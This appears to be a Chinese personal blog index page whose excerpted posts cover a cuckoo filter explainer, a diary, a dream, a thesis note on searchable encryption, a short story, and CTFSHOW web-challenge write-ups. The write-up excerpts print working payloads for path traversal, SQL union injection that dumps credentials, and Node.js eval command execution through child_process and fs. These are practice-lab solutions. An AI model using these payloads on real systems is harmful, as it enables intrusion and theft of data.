布谷鸟过滤器
一、布隆过滤器 在说布谷鸟过滤器之前,有必要先简要介绍一下布隆过滤器,它可以判断在一个存储表中是否含有某个元素(e)。底层中使用bitmap实现,其初始值为0。存储某个数据时,会有多次(示例中为3次)hash运算,将运算结果作为坐标,将对应的bit位改为1,由此标记它是否存在于表中。当几次哈希的结果中有一次不为1,都判断元素不存在。
一些问题:布隆过滤器不支持删除,且计算坐标时对应多个不同位点,效率低下。
这个网站可以直观地观察布隆过滤器插入数据的过程。
二、布谷鸟过滤器为啥要叫这个名? 布谷鸟交配后,雌性布谷鸟就准备产蛋了,但它却不会自己筑巢。它会来到像知更鸟、刺嘴莺等那些比它小的鸟类的巢中,移走原来的那窝蛋中的一个,用自己的蛋来取而代之。相对于它的体形来说,它的蛋是偏小的,而且蛋上的斑纹同它混入的其他鸟的蛋也非常相似,所以不易被分辨出来。如果不是这样,它的蛋肯定会被扔出去。
一种鸠占鹊巢的策略,最原始的布谷鸟哈希方法是使用两个哈希函数对一个key进行哈希,得到桶中的两个位置,此时
如果两个位置都为为空则将key随机存入其中一个位置
如果只有一个位 ...
一篇流水账——那些流经我的回忆-1
简简单单开个小贴记录下2023的前三分之一吧(虽然过得很忙碌,但终归还是想给自己留点儿回忆~还有就是手机存储不够了,甩点图上来吧)
离家上学大学毕业前最后一学期开学准备离家前一天,碰到了雾凇,只听说过东北有这玩意,很好奇。(以下内容来自百度百科)雾凇,其实也是霜的一种,是由冰晶在温度低于冰点以下的物体上形成的白色不透明粒状结构沉积物。其形成过程是:当过冷水雾(温度低于零度)碰撞到同样低于冻结温度的物体时,便会形成雾凇。
ice棒棒
然后离开家后第二天家里就下雪了,图源:墨落成白(果然还是舍不得哥们所以下雪)
在尼川的点点滴滴回来后的唯一主题:考研复试!好吧其实还有找工作做毕设。忙归忙,总得给自己找点乐子!不然都对不起成都的春花!
拉着北风趁春光出去乱转悠
成都人还是懂悠闲的
你比太升都牛b
吃烤匠,黑暗料理之花椒冰激凌(不建议去,有点小贵)
某次草坪音乐节,果然要毕业了啥好东西就都开始了,印象中唱了《郭源潮》《想把我唱给你听》《喜帖街》……。19届大学生多少有点冤种–
考了普通话,清晰地记得那天念错了字,结果就是差0.6分一级乙等…
大学四年中的第一次!成都大学 ...
一个奇怪的梦
4.24,雨夜,记一个光怪陆离的梦。
冷。通往实验室的路上尽是冰原,目光之所及尽是纯白,也许是冰雪。我穿着短袖,但感觉不到寒冷,我期望找到庇护,可走廊的尽头仍然是冰原;实验室里都是黑色的显示器、黑色的机箱,它们都嵌在纯白的床垫里,格外显眼,我好奇为什么要把设备放在床上。刚想把手放在柔软的床垫上,床单的触感突然变成了白雪。
离开时,突然多出了很多故人。包括童年时在教室窗外鸣叫的麻雀、在放学回家路上的刺猬,还有独自在树下蹭肚皮的橘猫。
对称可搜索加密技术与流量检测的融合思路
(毕设整的烂活,这里简单记录下)
可搜索加密技术一开始被应用于云端存储加密文件,用户无需解密即可让云端服务器返回指定的检索结果(当然通常是关键词检索)。其流程如下:
把这俩结合起来的注意其实很早就有人提出来了,参看Privacy-preserving deep packet inspection in outsourced middleboxes一文。基本结合思路是,让发送流量的一方生成令牌token来映射可搜索加密中的搜索陷门,让中间盒不需要解密流量也能找出来流量里面藏着什么玩意。
用树枝开核桃
电话接通的时候,锡峰正走在回家的路上,他手里都是未来七天一家人所需的生活物资。人行道上挤满了满载而归的行人,手上、背上,甚至头顶上都是各式各样五颜六色的包装袋。所有人脸上的n95口罩都在剧烈起伏着,但是没有人胆敢在这个关头取下口罩——有人为了防寒,甚至多戴了一层棉质防寒巾。不管怎么说,从明天开始衡泉市又要因为冠状病毒而管控起来,事实上自从几个月前,这样的通知隔一段时间总要在各大小区的业主群传播一次。而各大超市的老板似乎也和大家有了长久配合而来的默契:平时进入超市一定要提供行程码、健康码和核酸检测阴性证明三样“通行证”,缺一不可,而在管控前一天仅仅需要其中之一便可。于是,平日里门可罗雀的超市仅仅在这一天有了热闹起来的机会。
“我确定回报考点参加考试,”锡峰答道。“一切后果我会自负。”电话那头的声音略显疲惫,似乎这一整天来一直在打这样的电话,黄昏这一通兴许是最后一通,所有疲惫里还夹着一点点只有在高度紧张后释然才有的轻松。自从锡峰决定要像大多数人一样考研,他已经有很久没有一天睡够六小时了。因为那该死的冠状病毒,直到正式考试前一个月,他还被困在家里,担心自己 ...
【CTFSHOW】 web入门中期测试
web486可以扫目录,发现位于上级目录的flag.php。而URL的action参数为一任意文件读取。
payload:index.php?action=../flag
web487action=../index查看源码:
12345678910111213141516171819202122232425262728293031<!--?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2021-03-08 15:43:51# @Last Modified by: h1xa# @Last Modified time: 2021-03-08 22:30:08# @email: h1xa@ctfer.com# @link: https://ctfer.com*/include('render/render_class.php');include('render/db_class.php');$action=$_GET['action'];if(!isset($a ...
【CTFSHOW】 web入门SSRF
关于SSRF:SSRF(Server-Side Request Forgery)服务端请求为伪造,SSRF是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。 一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统) SSRF漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。
题目:web351:1234567891011 <?phperror_reporting(0);highlight_file(__FILE__);$url=$_POST['url'];$ch=curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);//不返回header头消息curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。$result=curl_exec($ch);curl_close($ch);ec ...
【CTFSHOW】 web入门sql注入
题目:web171:payloads:
12345-1'union select 1,2,database()--+ //查询数据库名-1'union select 1,2,concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+ //查询指定数据库下的表名-1'union select 1,2,concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+ //查询指定表名的列名-1'union select 1,2,concat(id,username,password) from ctfshow_user--+ //查询指定表名的字段
we ...
【CTFSHOW】 web入门文件包含
文件包含漏洞:文件包含:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。
常见函数:
include( )
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。
include_once( )
功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次。
require( )
require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
require_once( )
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
题目:web78:PHP 提供了一些杂项输入/输出(IO)流, ...
【CTFSHOW】 web入门nodejs
前言:题目:web334: 下载附件解压能看到后台登录逻辑和账号密码,要求username的输入不能是大写的CTFSHOW,输入小写即可(touppercase函数会将输入转为大写)
web335:在浏览器f12发现提示:
eval变量可能存在rce
payload:
1?eval=require("child_process").execSync('cat fl00g.txt')
web336:上题payload已经无法使用
可以改用fs模块读取文件。
payload:
12?eval=require("fs").readdirSync(".") 读取当前目录下文件列表?eval=require("fs").readFileSync("filename") 读取文件filename
另解:
1/?eval=require("child_process")['exe'%2B'cSync' ...